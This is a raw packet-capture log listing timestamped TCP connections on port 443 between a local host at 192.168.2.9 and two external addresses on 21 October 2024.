Oct 21, 2024 13:17:38.343295097 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.343303919 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.345189095 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.345302105 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.345320940 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.345377922 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.345390081 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.345437050 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.345447063 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.345462084 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.345513105 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.345560074 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.345565081 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.345577002 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.345582008 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.345662117 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.345674038 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.348217964 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.348243952 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.348475933 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.348475933 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.348498106 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.469741106 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.469805956 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.470145941 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.470145941 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.470145941 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.472824097 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.472862959 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.472969055 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.473118067 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.473129988 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.621412039 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:38.621424913 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:38.621465921 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:38.621545076 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:38.621545076 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:38.621565104 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:38.622797012 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:38.772548914 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.772572994 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.060659885 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.061199903 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.061214924 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.061660051 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.061675072 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.072129965 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.072499037 CEST	49855	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.072518110 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.072880983 CEST	49855	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.072886944 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.097182035 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.097680092 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.097697973 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.098057032 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.098062992 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.102965117 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.103368044 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.103384972 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.103822947 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.103831053 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.114094973 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:39.114106894 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:39.114156961 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:39.114232063 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:39.114264011 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:39.114290953 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:39.114326954 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:39.191591024 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.191747904 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.191808939 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.191957951 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.191975117 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.191988945 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.191996098 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.195236921 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.195260048 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.195337057 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.195739985 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.195755005 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.206038952 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.206119061 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.206168890 CEST	49855	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.206348896 CEST	49855	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.206372023 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.206382990 CEST	49855	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.206388950 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.209216118 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.209273100 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.209353924 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.209487915 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.209500074 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.233774900 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.233942032 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.233973026 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.234035015 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.234092951 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.234136105 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.234148026 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.234216928 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.234227896 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.234236956 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.234241009 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.234263897 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.234282970 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.234296083 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.234317064 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.234324932 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.237324953 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.237333059 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.237360954 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.237377882 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.237442017 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.237484932 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.237588882 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.237598896 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.237601995 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.237615108 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.327116013 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.327677965 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.327686071 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.328114986 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.328119993 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.382183075 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:39.382189989 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:39.382217884 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:39.382235050 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:39.382255077 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:39.382309914 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:39.388602018 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:39.460791111 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.461019039 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.461080074 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.461267948 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.461275101 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.461283922 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.461287975 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.464473963 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.464500904 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.464556932 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.464827061 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.464839935 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.924525023 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.925570965 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.925570965 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.925596952 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.925610065 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.947802067 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.959408045 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.968753099 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.968780994 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.969458103 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.969463110 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.969641924 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.969649076 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.970060110 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.970063925 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.978204966 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.978634119 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.978648901 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:39.979073048 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:39.979084015 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.055155039 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.055262089 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.055331945 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.060616970 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.060616970 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.060645103 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.060658932 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.063373089 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.063410997 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.063472033 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.063626051 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.063641071 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.094698906 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.094737053 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.094784975 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.094846010 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.094873905 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.095087051 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.095087051 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.095104933 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.095114946 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.095577955 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.095655918 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.095706940 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.096379995 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.096385956 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.096393108 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.096398115 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.098012924 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.098058939 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.098151922 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.099073887 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.099091053 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.100327969 CEST	49866	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.100358009 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.100423098 CEST	49866	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.100605011 CEST	49866	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.100617886 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.107388020 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.107419968 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.107525110 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.107538939 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.107629061 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.107659101 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.107677937 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.107717037 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.107717037 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.107727051 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.107733011 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.109903097 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.109922886 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.109978914 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.110100031 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.110112906 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.216234922 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.216742039 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.216769934 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.217216015 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.217226028 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.350171089 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.350203037 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.350239992 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.350392103 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.350392103 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.350686073 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.350697994 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.354424000 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.354455948 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.354511976 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.354640007 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.354650021 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.811728001 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.812294960 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.812326908 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.812752008 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.812757969 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.831188917 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.831825972 CEST	49866	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.831852913 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.832142115 CEST	49866	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.832148075 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.848206043 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.848839045 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.848881006 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.849280119 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.849284887 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.867237091 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.867826939 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.867847919 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.868410110 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.868416071 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.945564032 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.945628881 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.945704937 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.947679043 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.947679043 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.947710037 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.947721004 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.950587034 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.950628042 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.950700998 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.950814962 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.950823069 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.961327076 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.961410999 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.961460114 CEST	49866	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.961560011 CEST	49866	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.961570024 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.961580038 CEST	49866	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.961585045 CEST	443	49866	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.964207888 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.964235067 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.964317083 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.964442968 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.964457989 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.981626987 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.981669903 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.981714010 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.981717110 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.981754065 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.981946945 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.981965065 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.981976986 CEST	49865	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.981981993 CEST	443	49865	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.984329939 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.984353065 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:40.984455109 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.984612942 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:40.984626055 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.003335953 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.003401041 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.003479958 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.003499985 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.003654003 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.003662109 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.003673077 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.003771067 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.003885031 CEST	443	49867	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.003931046 CEST	49867	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.006299019 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.006325006 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.006388903 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.006545067 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.006558895 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.612904072 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.613667965 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.613688946 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.614099979 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.614104986 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.682285070 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.689157009 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.689179897 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.689596891 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.689600945 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.717052937 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.717503071 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.717510939 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.717888117 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.717890978 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.719461918 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.719721079 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.719738960 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.720032930 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.720038891 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.747112036 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.748987913 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.749056101 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.749072075 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.749114990 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.749172926 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.749187946 CEST	443	49868	13.107.246.45	192.168.2.9
